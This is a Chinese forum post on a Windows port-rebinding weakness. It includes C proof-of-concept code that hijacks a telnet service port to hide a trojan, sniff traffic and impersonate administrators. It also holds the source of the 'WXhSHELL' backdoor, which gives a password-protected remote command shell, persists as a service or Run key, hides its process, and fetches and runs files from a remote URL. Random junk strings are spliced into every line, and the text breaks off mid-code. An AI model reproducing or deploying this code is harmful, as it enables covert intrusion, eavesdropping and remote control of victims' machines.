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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: #FBq8iJ  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); RTW4r9~'  
:! h1S`wS  
  saddr.sin_family = AF_INET; ^Z{W1uYi  
0]c 2T  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); aD1G\*AFJ  
~EVD NnHEr  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); VE<&0d<  
m\88Etl@  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 o#-K,|-  
/^kZ}}9baU  
  这意味着什么?意味着可以进行如下的攻击: .'q0*Pe  
32r2<QrX  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 dcgz<m  
>+w(%;i;  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ,3t('SE  
$vC!Us{z  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 8T:|~%Sw  
n\#RI9#\  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  \/J7U|@Lt  
~L G).  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 8]N  
q89#Ftkt  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 uj_ OWre  
DA_[pR  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 %8)GuxG*  
tTT./-*0  
  #include ZLBv\VQ  
  #include )2|'`  
  #include Ub%al D  
  #include    o!`.LL%  
  DWORD WINAPI ClientThread(LPVOID lpParam);   !}D!_z,)u  
  int main() +)#d+@-  
  { P~V0<$C  
  WORD wVersionRequested; MOuI;EF  
  DWORD ret; >g ]S"ku|  
  WSADATA wsaData; #-ioLt%  
  BOOL val; ?- 5{XrNm  
  SOCKADDR_IN saddr; T>l=0a #  
  SOCKADDR_IN scaddr; W 2VH?-Gw  
  int err; -vcHSwG b  
  SOCKET s; (%huWW j  
  SOCKET sc; D 6trqB  
  int caddsize; {%(_Z`vI  
  HANDLE mt; ]wg+zOJu]+  
  DWORD tid;   `c^ _5:euX  
  wVersionRequested = MAKEWORD( 2, 2 ); $d4^e&s  
  err = WSAStartup( wVersionRequested, &wsaData ); uP\?y(= "  
  if ( err != 0 ) { }b-"[TDEF  
  printf("error!WSAStartup failed!\n"); N:j"W,8  
  return -1; rzH*|B0g  
  } }LDH/# u  
  saddr.sin_family = AF_INET; [-X=lJ:+h  
   }JXAG/<  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 N5$L),?\y  
#%4-zNS  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); jg]_'^pVzr  
  saddr.sin_port = htons(23); [:x^ffs  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) )1%l$W  
  { >5{Z'UWxh  
  printf("error!socket failed!\n"); lHBk&UN'  
  return -1; >yC1X|d~t  
  } +$KUy>  
  val = TRUE; Np4';H  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 G3HmLz  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) DBuvbq-  
  { MS,J+'2  
  printf("error!setsockopt failed!\n"); @B;2z_Y!l  
  return -1; Bb^CukS:  
  } 6b9 oSY-8  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; `+[e]dH  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 -iu7/4!j  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ^YddVp  
#<V/lPz+  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) c <8s \2  
  { xEN""*Q  
  ret=GetLastError(); C zKU;~D=B  
  printf("error!bind failed!\n"); *f8; #.Re  
  return -1; UD|Qa  
  } C%ibIcm y  
  listen(s,2); zQJ9V\0  
  while(1) -~O7.E(ok  
  { o}&TFhT  
  caddsize = sizeof(scaddr); ,E{z+:Es  
  //接受连接请求 RF/I*5  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); z;6 Tp  
  if(sc!=INVALID_SOCKET) ^nu~q+:+#  
  { \|\ Dc0p}  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); -POV#1s  
  if(mt==NULL) |^K-m42  
  { 0xbx2jlkY  
  printf("Thread Creat Failed!\n"); L~_3BX  
  break; b4GD}kR  
  } %xtTh]s  
  } a?bSMt}  
  CloseHandle(mt); 9ALE6  
  } $2Y'[Dto\  
  closesocket(s); LeBuPR$  
  WSACleanup(); 413,O~^  
  return 0; V!#+Ti/w4  
  }   3.M<ATe^  
  DWORD WINAPI ClientThread(LPVOID lpParam) :<ye:P1s  
  {  LAG*H  
  SOCKET ss = (SOCKET)lpParam; L&O!"[++  
  SOCKET sc; Tw BwqQ)t  
  unsigned char buf[4096]; b/IT8Cm3  
  SOCKADDR_IN saddr; km1{Oh  
  long num; QR<z%4  
  DWORD val; |QwX  
  DWORD ret; Xx_ v>Jn!  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Y! e  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   0|<ER3xkx  
  saddr.sin_family = AF_INET; Kh<xQ:eMy  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 4 G`7]<  
  saddr.sin_port = htons(23); Ws"eF0,'Z  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) L&$ X\\Lv^  
  { $\kqh$")  
  printf("error!socket failed!\n"); 4fPbwiK j  
  return -1; R)% Jr.U  
  } +]^6&MqO  
  val = 100; Pt~mpRl H  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) }oH A@o5  
  { '@)47]~  
  ret = GetLastError(); <11pk  
  return -1; UxI0Of&:  
  } M>hHTa?W  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ,7:_M> -3g  
  { =Nn&$h l  
  ret = GetLastError(); t(69gF\"  
  return -1; <Cc}MDM604  
  } (R)\  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)  PZZTRgVc  
  { c,%9Fh?(  
  printf("error!socket connect failed!\n"); mo1(dyjx  
  closesocket(sc); 1vlRzkd  
  closesocket(ss); N1rBpt  
  return -1; ^R.kThG  
  } E)liuu! qI  
  while(1) OYKeu(=L  
  { OZ\]6]L  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 j0b?dKd  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 B0Ql1x#x  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 C%8nr8 po  
  num = recv(ss,buf,4096,0); >5C|i-HX  
  if(num>0) $ 2'AY  
  send(sc,buf,num,0); `$j"nP F_  
  else if(num==0) ~A<1xszC  
  break; b|F_]i T  
  num = recv(sc,buf,4096,0); \DsP '-t  
  if(num>0) sM)qzO2wh  
  send(ss,buf,num,0); :#8#tLv  
  else if(num==0) ~~eR,HYk  
  break; ,c#IxB/0  
  } T_ ifDQX;  
  closesocket(ss); icW?a9b&  
  closesocket(sc); ,H!E :k  
  return 0 ; L~N<<8?\   
  } ]O Nf;RH  
l$KC\$?%*  
5:(uD3]  
========================================================== g3~e#vdz  
a f[<[2pma  
下边附上一个代码,,WXhSHELL QI*Y7R~<  
v;.7-9c*  
========================================================== kL;sA'I:S  
\sB a  
#include "stdafx.h" *:r@-=M3=  
EVc Ees  
#include <stdio.h> fD1J@57  
#include <string.h> mY9^W2:  
#include <windows.h> Mx<V;GPm  
#include <winsock2.h> c>+l3&`  
#include <winsvc.h> .nCF`5T!  
#include <urlmon.h> 7\*_/[B  
J6Uo+0S  
#pragma comment (lib, "Ws2_32.lib") *,g|I8?%VD  
#pragma comment (lib, "urlmon.lib") j:'sbU  
g.-{=kZ   
#define MAX_USER   100 // 最大客户端连接数 QixEMX4<  
#define BUF_SOCK   200 // sock buffer g:0-` ,[  
#define KEY_BUFF   255 // 输入 buffer ER0nrTlB<  
+92/0  
#define REBOOT     0   // 重启 v%O KOrJ  
#define SHUTDOWN   1   // 关机 *nUD6(@g  
sE87}Lz  
#define DEF_PORT   5000 // 监听端口 hKP7p   
,!U._ic'B  
#define REG_LEN     16   // 注册表键长度 pyA;%vJn  
#define SVC_LEN     80   // NT服务名长度 ^`ah\L  
: vN'eL|#  
// 从dll定义API o*OYZ/_L  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); b#;%TbDF  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ` #Qlr+X  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); !#0Lo->OO  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ^|yw)N]Q/  
s=0z%~H  
// wxhshell配置信息 TVVL1wZ  
struct WSCFG { 9\9:)q  
  int ws_port;         // 监听端口 w"Gci~]bXU  
  char ws_passstr[REG_LEN]; // 口令 tU2 8l.  
  int ws_autoins;       // 安装标记, 1=yes 0=no /wplP+w2  
  char ws_regname[REG_LEN]; // 注册表键名 G gmv(!  
  char ws_svcname[REG_LEN]; // 服务名 xa+=9=<AQ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 R;+vE'&CO  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ??& Q"6Oe  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &2-dZK  
int ws_downexe;       // 下载执行标记, 1=yes 0=no P]]re,&R  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" jOL$kiW0  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 aO :wedfl  
+3]1AJa  
}; H_gY)m  
MVdX  
// default Wxhshell configuration $X1T!i[.X  
struct WSCFG wscfg={DEF_PORT, 8Jnb/A}  
    "xuhuanlingzhe", 5 [{l9  
    1, &%M!!28X:  
    "Wxhshell", ];& @T\Rj  
    "Wxhshell", ;T1OXuQ  
            "WxhShell Service", $#R@x.=  
    "Wrsky Windows CmdShell Service", Pn:L=*  
    "Please Input Your Password: ", 3^m0 k E  
  1, wlc Cz  
  "http://www.wrsky.com/wxhshell.exe", gA 0:qEL\  
  "Wxhshell.exe" F_>OpT  
    }; J3Ipk-'lx  
64]_o/u5W4  
// 消息定义模块 R42+^'af  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; *?sdWRbu}l  
char *msg_ws_prompt="\n\r? for help\n\r#>"; DC?U +  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; iTTUyftHT  
char *msg_ws_ext="\n\rExit."; mS)|i+5  
char *msg_ws_end="\n\rQuit."; ^P30g2gv>  
char *msg_ws_boot="\n\rReboot..."; vv0A5p8H  
char *msg_ws_poff="\n\rShutdown..."; -/ 5" Py  
char *msg_ws_down="\n\rSave to "; J1P jMb}  
M<h2+0(il  
char *msg_ws_err="\n\rErr!"; fTb&k;'LR<  
char *msg_ws_ok="\n\rOK!"; "+SnHpNx  
\F`%vZrKR  
char ExeFile[MAX_PATH]; }HdibCAOf  
int nUser = 0; } a#RX$d&  
HANDLE handles[MAX_USER]; ~z;G$jd  
int OsIsNt; Zb> UY8  
'ii5pxeNI  
SERVICE_STATUS       serviceStatus; S\$=b_.  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; x-0O3IIE  
tzH~[n,  
// 函数声明 pC=kvve  
int Install(void); WC2sRv4]3  
int Uninstall(void); D^]g`V*N  
int DownloadFile(char *sURL, SOCKET wsh); hnOo T? V  
int Boot(int flag); IRWVoCc9/\  
void HideProc(void); A7 U]wW9  
int GetOsVer(void); g!/O)X3  
int Wxhshell(SOCKET wsl); Ife/:v  
void TalkWithClient(void *cs); >@Vap  
int CmdShell(SOCKET sock); =i'APeNaQ  
int StartFromService(void); 3a|I| NP  
int StartWxhshell(LPSTR lpCmdLine); Sfl. &A(  
>;wh0dBe  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); o:oQF[TcFO  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); *@;Pns]L-  
l Vb{bO9-O  
// 数据结构和表定义 {tE9m@[AF  
SERVICE_TABLE_ENTRY DispatchTable[] = CKB~&>xx  
{ &E& _Z6#  
{wscfg.ws_svcname, NTServiceMain}, [g<rzhC~=  
{NULL, NULL} } O:Y?Wq^  
}; ks3ydHe`  
B!J~ t8  
// 自我安装 3^!Y9$y1  
int Install(void) l~",<bTc  
{ 6*W7I- A  
  char svExeFile[MAX_PATH]; _k'?eZB  
  HKEY key; 4%refqWK  
  strcpy(svExeFile,ExeFile); @Z}TF/Rx4  
' ozu4y  
// 如果是win9x系统,修改注册表设为自启动 ^T>P  
if(!OsIsNt) { %s&"gWi  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0j\} @  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); nF"NXYa  
  RegCloseKey(key); qcVmt1"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;RR\ Hwix  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $p(  
  RegCloseKey(key); 7XM:4whw  
  return 0; ;W~H|M  
    } luvxwved  
  } "`6pF8k  
} 3Gk\3iU!  
else { Z'!Ii+'6  
b8FSVV 7@  
// 如果是NT以上系统,安装为系统服务 J?R\qEq%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); |3]#SqX  
if (schSCManager!=0) oy[>`qyz  
{ f;{K+\T  
  SC_HANDLE schService = CreateService 4:zyZu3fm  
  ( {TOz}=R"3h  
  schSCManager, @~ 6,8nQ  
  wscfg.ws_svcname, ro}WBv  
  wscfg.ws_svcdisp, /#Fz K  
  SERVICE_ALL_ACCESS, K=K]R01/o  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 4tA`,}ywPq  
  SERVICE_AUTO_START, w ]%EJ|'  
  SERVICE_ERROR_NORMAL, [8 I*lsS  
  svExeFile, WALK@0E  
  NULL, 0bz':M#k &  
  NULL, >~}}*yp  
  NULL, eeVzOq(  
  NULL, TxA%{0  
  NULL ;{j@ia  
  ); DeK&_)g| Z  
  if (schService!=0) OCN:{  
  { tO}Y=kZa{  
  CloseServiceHandle(schService); JHJIjYG>P  
  CloseServiceHandle(schSCManager); 52P^0<Wq  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Y@l>4q")  
  strcat(svExeFile,wscfg.ws_svcname); '/U%-/@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { VX6M4<8  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); wn Q% 'Eo  
  RegCloseKey(key); <lN=<9  
  return 0; tBjMm8lgb  
    } Ewq7oq5:  
  } w+][L||4c  
  CloseServiceHandle(schSCManager); D b&= N  
} -n"7G%$M  
} w678  
?{]"UnyVE*  
return 1; Yc`PK =!l  
} $aC%&&+wG  
WQ1K8B4  
// 自我卸载 VJbn/5+P  
int Uninstall(void) O5v~wLx9e  
{ FT;I|+H*P  
  HKEY key; os[i  
c~)H" n  
if(!OsIsNt) { rD!UP1Nb  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _m@+d>f_  
  RegDeleteValue(key,wscfg.ws_regname); ALi3JU  
  RegCloseKey(key); (nnIRN<}$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /4>|6l=  
  RegDeleteValue(key,wscfg.ws_regname); \R.Fmeko  
  RegCloseKey(key); ,<O|#`?"@G  
  return 0; CyKupJ.Fq  
  } z{ (c-7*  
} 0RF<:9@x2  
} fO{'$?K  
else { s*tzU.E (  
OrRU$5Lo  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); -Gj."ks  
if (schSCManager!=0) $h|8z  
{ v$~ZT_"(9  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 7Um3m yXU  
  if (schService!=0) T]lVwj  
  { +![\7  
  if(DeleteService(schService)!=0) { l<UJ@XID$  
  CloseServiceHandle(schService); 7J|e L yj  
  CloseServiceHandle(schSCManager); -~TgA*_5]  
  return 0; |>v8yS5  
  } se S)`@n  
  CloseServiceHandle(schService); i:sb_U+M  
  } eMOnzW|h  
  CloseServiceHandle(schSCManager); }&Ul(HR  
} mNQ*YCq.  
} 5;[h&jH  
"ZR^w5  
return 1; P"s7}cl  
} .B_a3K4'{^  
YPmgR]=6  
// 从指定url下载文件 (i@B+c  
int DownloadFile(char *sURL, SOCKET wsh) EMw biGV  
{ fctVJ{?  
  HRESULT hr; V_P,~!  
char seps[]= "/"; /_ RrNzqy  
char *token; t }>"nr0  
char *file; qM9> x:V  
char myURL[MAX_PATH]; ]}9D*V  
char myFILE[MAX_PATH]; aMO+ y91Y(  
+`+r\*C5  
strcpy(myURL,sURL); 87OX:6  
  token=strtok(myURL,seps); `y*o -St3  
  while(token!=NULL) ZJ'FZ8Sx  
  { _8s1Wh G  
    file=token; 8?[#\KgH1  
  token=strtok(NULL,seps); 6B&ERdoX  
  } G0Wv=tX|  
K&;;{~md.  
GetCurrentDirectory(MAX_PATH,myFILE); ]GmXZi  
strcat(myFILE, "\\"); j9 O"!9$vQ  
strcat(myFILE, file); T?EFY}f  
  send(wsh,myFILE,strlen(myFILE),0); tS sDW!!M  
send(wsh,"...",3,0); #RTiWD[o  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); oF=UjA  
  if(hr==S_OK) q:3HU<  
return 0; ,7^,\ ,-m  
else -3|i5,f  
return 1; }^Ky)**  
9RnXp&w  
} 0 ChdFf7  
qAirH1#  
// 系统电源模块 a {4RG(I_  
int Boot(int flag) y R_x:,|g  
{ 95^-ptO{1`  
  HANDLE hToken; (a@}J.lL  
  TOKEN_PRIVILEGES tkp; ;0Mg\~T~'  
> m##JzWLr  
  if(OsIsNt) { NSDls@m  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); l3;MjNB^V  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ky{-NrK  
    tkp.PrivilegeCount = 1; DtOL=m]s  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; t_{rKb,  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Sj9NhtF]f  
if(flag==REBOOT) { M|\C@,F]8  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) hgI;^ia  
  return 0; |C3~Q{A  
} {on+ ;,  
else { Jsw%.<  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Bw*6X` 'Q  
  return 0; /]hE?cmj  
} 5 $:  q  
  } 5}he)2*uD  
  else { Fy-|E>@]D  
if(flag==REBOOT) { . J.| S4D  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Y]9C8c)  
  return 0; 50Y^##]&  
} "6xTh0D  
else { 4kdQ h]  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) SAtK 'Jx[  
  return 0; @ Yzc?+x  
} :yE7jXB  
} }@NT#hD  
MP%pEUomev  
return 1; 07qL@![!  
} W6L}T,epX  
[y1 x`WOk9  
// win9x进程隐藏模块 [cvtF(,  
void HideProc(void) &+-]!^2o  
{ "M4 gl  
Ilv _.  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); >TQnCG =  
  if ( hKernel != NULL ) &Ez]pKjB  
  { riY[p,  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ma7@vD  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ;sfk@ec  
    FreeLibrary(hKernel); 7) e#b  
  } rulw6vTB(  
(Gpk;DD  
return; t9+ME|  
} V.12  
_)F0o C {  
// 获取操作系统版本 4&/m>%r  
int GetOsVer(void) EE[JXoke  
{ /{+77{# Qn  
  OSVERSIONINFO winfo; \<4Hp_2?  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); fk  
  GetVersionEx(&winfo); e+7x &-+  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) {Wh7>*p{3  
  return 1; k{d)'\FM  
  else BuIly&qbm<  
  return 0; r4(Cb_  
} ju%t'u\'  
P},d`4Ty@  
// 客户端句柄模块 !>gu#Q{\-  
int Wxhshell(SOCKET wsl) 4KCJ(<p|  
{ Ceco^Mw  
  SOCKET wsh; (b4;c=<[{  
  struct sockaddr_in client; @gHWU>k,A  
  DWORD myID; - |j4u#z  
TWk1`1|  
  while(nUser<MAX_USER) kG70j{gf  
{ [t}$W*hY  
  int nSize=sizeof(client); okv`v ({  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Fu6~8uDV{{  
  if(wsh==INVALID_SOCKET) return 1; CxW-lU3G`  
7d"gRM;  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); >djTJ>dl_u  
if(handles[nUser]==0) kEpCF:@A  
  closesocket(wsh); ;^Y]nsd  
else ?f ]!~  
  nUser++; N>'|fNx]  
  }  LAfv1  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); o,;Hb4Eu  
o6~9.~_e  
  return 0; gBCO>nJws  
} ~76qFZe-  
*g;4?_f  
// 关闭 socket -)2sR>`A%  
void CloseIt(SOCKET wsh) :KL5A1{  
{ 1xF<c<  
closesocket(wsh); Z$&i"1{  
nUser--; q*B(ZG  
ExitThread(0); h.D*Y3=<  
} .ECT  
?Pw(  
// 客户端请求句柄 -yH8bm'0"  
void TalkWithClient(void *cs) FELTmQUV  
{ Lm}J& ^>  
Z UCz-53  
  SOCKET wsh=(SOCKET)cs; +~ L26T\8  
  char pwd[SVC_LEN]; %.+#e  
  char cmd[KEY_BUFF]; >84:1 `  
char chr[1]; P-c<[DSM'I  
int i,j; !1s^TB>N  
_Bhm\|t  
  while (nUser < MAX_USER) { qe\JO'g#e  
{f kP|d  
if(wscfg.ws_passstr) { @p}"B9h*^  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (iw)C)t*u  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6xsB#v*  
  //ZeroMemory(pwd,KEY_BUFF); =TzmhX5  
      i=0; }|Wn6X  
  while(i<SVC_LEN) { I||4.YT  
j(SBpM  
  // 设置超时 uqMe %  
  fd_set FdRead; 5Sm)+FC :  
  struct timeval TimeOut; @<W^/D1#L  
  FD_ZERO(&FdRead); /K2=GLl;  
  FD_SET(wsh,&FdRead); !<P|:Oo*Dl  
  TimeOut.tv_sec=8; E6FT*}Q  
  TimeOut.tv_usec=0; mtQlm5l  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); %oY=.Ok ]  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Xzp!X({   
Im*~6[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Zg#VZg1 2  
  pwd=chr[0]; h72#AN  
  if(chr[0]==0xd || chr[0]==0xa) { 78[5@U  
  pwd=0; 0nbQKoF  
  break; Qso"jYl<  
  } hn@T ]k  
  i++; D ^~G(m;-  
    } 6YCFSvA#/  
k-uwK-B}v+  
  // 如果是非法用户,关闭 socket rIg5Wcd  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); @h&crI[c  
} ?U PZ49y  
Z[{k-_HgAm  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); uK5&HdoM  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ct)l0J\XH  
E 3a^)S{  
while(1) { n)'5h &#  
rL=_z^.P  
  ZeroMemory(cmd,KEY_BUFF); |d B`URP  
N3`EJY_|V  
      // 自动支持客户端 telnet标准   _ Db05:r@  
  j=0; keYvscRBI  
  while(j<KEY_BUFF) { :~1sF_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,GH;jw)P  
  cmd[j]=chr[0]; ^*fZ  
  if(chr[0]==0xa || chr[0]==0xd) { :GaK.W q  
  cmd[j]=0; iO,_0Y4  
  break; D@cv{ _M/  
  } O0Vtvbj  
  j++; c< P ML|e  
    } t'{\S_  
U0Y;*_>4  
  // 下载文件 fZ*LxL  
  if(strstr(cmd,"http://")) { .<Lbv5m  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); =Bq3O58+  
  if(DownloadFile(cmd,wsh)) RrPo89o  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); +TQMA >@g<  
  else !k= ~5)x  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nbGB84  
  } #`>46T  
  else { #s-^4znv9  
fuQb h  
    switch(cmd[0]) { z+Cw*v\Y  
   d Xiv8B1  
  // 帮助 xp4w9.X5(  
  case '?': { yl=_ /'*  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); }95;qyQ$  
    break; E_[)z%&n2  
  } *61+Fzr  
  // 安装 q*^F"D:?k  
  case 'i': { 4%3R}-'mh  
    if(Install()) [9:'v@Ph  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JF vVRGWB  
    else RKY~[IQ,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Gw0_M&  
    break; SREe, e\  
    } nlfu y[oX  
  // 卸载 Q^iE,_Zq  
  case 'r': { $\DOy&e  
    if(Uninstall()) BJdH2qREN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u9:+^F+  
    else >brf7h  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =deqj^&@  
    break; 9<9 c^2  
    } i"h '^6M1  
  // 显示 wxhshell 所在路径 7I,/uv?  
  case 'p': { huu v`$~y  
    char svExeFile[MAX_PATH]; Oh\ +cvbG  
    strcpy(svExeFile,"\n\r"); :a 5#yh  
      strcat(svExeFile,ExeFile); Jf/X3\0N7  
        send(wsh,svExeFile,strlen(svExeFile),0); mv,<#<-W  
    break; I.M@we/bR}  
    } t~l uBUF  
  // 重启 /%#LA  
  case 'b': { =` b/ip5  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4rmSo^vK  
    if(Boot(REBOOT)) {x+"Ru~7,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^+ hJ& 9W  
    else { ]$StbBP  
    closesocket(wsh); TJB) ]d<  
    ExitThread(0); <HLe,  
    } O%g%*9  
    break; X/ \5j   
    } g `)5g5  
  // 关机 abHW[VP9  
  case 'd': { Vu%XoI)<KY  
